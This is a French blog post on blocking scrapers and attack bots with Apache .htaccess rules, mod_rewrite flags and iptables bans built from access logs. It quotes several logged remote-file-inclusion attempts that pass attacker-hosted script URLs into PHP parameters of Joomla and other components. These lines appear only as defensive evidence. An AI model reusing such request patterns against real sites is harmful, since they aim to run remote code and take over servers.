Aller au contenu | Aller au menu | Aller à la recherche


Bloquer certains robots ou navigateurs indésirables

Comment bloquer les requêtes indésirables tels que des attaques récentes enregistrées sur mon site :

65.254.41.130 - - [22/Feb/2009:07:09:22 +0100] "GET /hack/include/plugins/jrBrowser/purchase.php?jamroom[jm_dir]=http://www.sec-ir.com/administrator/components/com_joomla-visites/core/include/remember.txt HTTP/1.1" 404 1467 "-" "Mozilla/5.0"
64.135.71.20 - - [28/Feb/2009:21:04:04 +0100] "GET /hack/php/%20%20/administrator/components/com_dbquery/xhtml/support.html.php?dbq_class_path=http://www.dwsub301.co.kr/data/copyright.txt HTTP/1.1" 404 1467 "-" "Mozilla/5.0"
66.150.201.199 - - [28/Feb/2009:21:30:04 +0100] "GET /hack/php//?INCLUDE_FOLDER=http://www.lazar.ru/manager/processors/copyright.txt??? HTTP/1.1" 200 1659435 "-" "libwww-perl/5.79"
72.32.71.178 - - [28/Feb/2009:21:30:45 +0100] "GET /hack/php/e404.php?DOCUMENT_ROOT=http://www.ackerbell.com/en/images/log.txt HTTP/1.1" 404 1467 "-" "libwww-perl/5.79"

Pour bloquer ces requêtes indésirables, nous n'avons pas trop le choix.

Généralement ces accès sont fait par :

  • des aspirateurs de site
  • des robots hacking a but d'injection HTTP tel que dans du PHP pour prendre le contrôle du serveur

On constate que les données filtrables sont :

  • l'IP de l'émetteur de la requête
  • l'URI utilisée
  • le USER-AGENT (le $_SERVER["HTTP_USER_AGENT"] en PHP)

Filtrage par IP

Bloquer une IP en particulier, utile contre un spammeur ayant une IP fixe, ou utilisant un proxy avec IP fixe :

Order Allow,Deny
Allow from all
Deny from xxx.xxx.xxx.xxx

xxx.xxx.xxx.xxx représente bien sur l'adresse IP et ce code est également à placer dans le .htaccess

Filtrage par USER-AGENT

Vous pouvez par exemple bloquer toutes les requêtes provenant d'un client nommé "*libwww*"

#############################################################
 #  Bloquer l'accès au site pour le navigateur libwww-perl
 #############################################################
 RewriteEngine on
 RewriteCond %{HTTP_USER_AGENT} libwww [NC]
 RewriteRule .* - [F,L]
#############################################################
 # Permet de rediriger vers l'adresse de la boucle locale (127.0.0.1) tous les systèmes se connectant à votre site avec l'user agent libwww
 # (ou de son autre nom lwp, le web en perl). Si vous êtes victimes d'aspirateur de sites vous pouvez également adapter ce code pour bloquer d'autres user agent, 
 # vous trouverez facilement des listes exhaustive sur le net.
 #############################################################
 RewriteEngine on
 RewriteCond %{HTTP_USER_AGENT} libwww [NC,OR]
 RewriteCond %{HTTP_USER_AGENT} ^lwp
 RewriteRule (.*) http://127.0.0.1/ [R,L]
#############################################################
 # Utilisé par PlaceOweb
 # Permet de rediriger vers l'adresse de la boucle locale (127.0.0.1) 
 # tous les systèmes se connectant à votre site avec l'user agent 
 # "libwww*"
 # ou essayant d'accéder à une ressource URI composée de "*???*"
 #############################################################
 RewriteEngine on
 RewriteCond %{HTTP_USER_AGENT} ^libwww.* [NC,OR]
 # RewriteCond %{HTTP_USER_AGENT} ^lynx.* [NC,OR]
 RewriteCond %{QUERY_STRING} .*\?\?\?.*
 RewriteRule (.*) http://127.0.0.1/ [R,L]

Information sur les flags (options entre [])

[flags]

A la directive RewriteCond. Flags est une liste de commutateurs ci-après définis séparés par des virgules :

  • 'nocase|NC' (Pas de casse : no case) La casse est indifférente dans ce cas, c'est-à-dire qu'il n'y aura aucune différence entre les lettres 'A-Z' et 'a-z', que ce soit dans la chaîne TestString ou CondPattern.
  • 'ornext|OR' (ou condition suivante) Utilisez ce commutateur pour lier deux conditions.

A la directive RewriteRule. Flags est une liste de commutateurs ci-après définis séparés par des virgules :

  • 'redirect|R[=code]' (force la redirection) Préfixez substitution par une chaîne de type http://cetHôte[:cePort]/ (qui fait de cette nouvelle URL une URI) pour forcer une redirection externe. Si aucun code n'est mentionné, un code de réponse HTTP 302 (MOVED TEMPORARILY) sera utilisé par défaut. Si vous souhaitez renvoyer un autre code de réponse, dans les séries 300 ou 400, mentionnez ce code sous forme numérique ou utilisez l'une des constantes symboliques ci-après : temp (défaut), permanent, seeother. Utilisez cette fonction pour des règles qui auraient tendance à canoniser les URL et les renvoyer ainsi au client, ex. qui traduisent "/~" en "/u/" ou ajoutent systématiquement un slash à /u/user, etc.
  • 'forbidden|F' (force l'URL à apparaître comme interdite : forbidden) Ceci force l'URL courante sur l'URL interdite, c'est à dire que le serveur enverra immédiatement une réponse HTTP de code 403 (FORBIDDEN). Utilisez ce commutateur en conjonction avec des directives RewriteConds appropriées pour bloquer l'accès à certaines URL sous certaines conditions.
  • 'gone|G' (force l'URL à apparaître comme une redirection définitive : gone) Ceci force une réponse HTTP de code 410 (GONE). Utilisez ce commutateur pour marquer que les ressources demandées ont définitvement "déménagé".
  • 'last|L' (dernière règle : last rule) Arrête le traitement de réécriture en ce point et n'applique plus aucune règle de réécriture postérieure. Ceci correspond à l'instruction Perl last ou au break du C dans une boucle. Utilisez ce commutateur pour éviter que l'URL réécrite par cette règle ne soit à son tour modifiée une nouvelle fois par d'autres règles pour lesquelles le motif pourrait correspondre. Par exemple, vous pouvez l'utiliser pour réécrire l'URL d'accès à root ('/') vers une URL opérationnelle, comme '/e/www/'.

Globalement

On constate que de nombreuses injections concernent Joomla, on en parle sur Hack de sites joomla : quels composants sont visés ?

Une méthode simple pour bannir de nombreux attaquants est de les rediriger, depuis la configuration globale de votre serveur web, selon leurs paramètres de connexion, tel que l'agent http : HTTP_USER_AGENT

Voici un simple exemple sur Apache pour bloquer tous ceux qui s'identifient comme des navigateurs nommés : libwww-perl/xxx (ex : libwww-perl/5.79)

RewriteEngine on
 RewriteCond %{HTTP_USER_AGENT} libwww-perl
 RewriteRule .*$ http://immobilier.placeoweb.com [R,L]

Si vous souhaitez en bloquer plusieurs :

RewriteEngine on
 RewriteCond %{HTTP_USER_AGENT} Kapere [OR]
 RewriteCond %{HTTP_USER_AGENT} libwww-perl [OR]
 RewriteCond %{HTTP_USER_AGENT} Microsoft\ URL\ Control
 RewriteRule .*$ http://perdu.com [R,L]

Vous pouvez noter ces directives Apache, au choix, dans :

  • un fichier nommé anti-aspirateurs-hack.conf que vous placerez dans un répertoire inclus par Apache (Include /etc/apache2/sites/)
  • un fichier .htaccess à la racine de votre site où via une include dans chaque virtualhost.

Vous trouverez comment bloquer plus de robots et d'aspirateurs sur http://aide.sivit.fr/index.php?2005/07/25/84-bloquer-les-robots

Et pour l'explication des directives Apache concernées, vive la documentation Apache Module mod_rewrite en anglais, sinon une documentation plus ancienne en français.

Attention

Certains vrais logiciels ou scripts utiles définissent leur "User-Agent" en "*libwww*" alors ne les bloquez pas. Par exemple :

  • Lynx, déclare par défaut "User-Agent" avec la valeur : "Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/1.4.4"
  • Call Of Duty 4, déclare le "User-Agent" avec la valeur : "ID_DOWNLOAD/1.0 libwww/5.3.1"

Ressources

Blocage firewall par IP

En faisant un cat de vos logs apache, vous pouvez stocker les IPs indésirable et les bloquer avec votre firewall, par exemple :

cat /var/log/apache2/*.log | egrep '[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3} - - .*"GET.*/phpMyAdmin.* HTTP/1.1" 404' -i >> iptables.ban.ip.web.quotidien
awk '{print $1}' iptables.ban.ip.web.quotidien >> iptables.ban.ip.web.txt
sort --unique iptables.ban.ip.web.txt > iptables.ban.ip.unique.txt
cat iptables.ban.ip.unique.txt | egrep '[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}' > iptables.ban.ip.web.txt
# Bloque le WEB pour les injecteurs HTML
for IP in $(cat /root/iptables.ban.ip.web.txt); do iptables -A INPUT -s $IP -i eth0 -p tcp --dport 80 -j DROP; done;

ModSecurity : mod_security (libapache-mod-security) et mod_evasive (libapache2-mod-evasive)

Ajouter un commentaire

Le code HTML est affiché comme du texte et les adresses web sont automatiquement transformées.

Fil des commentaires de ce billet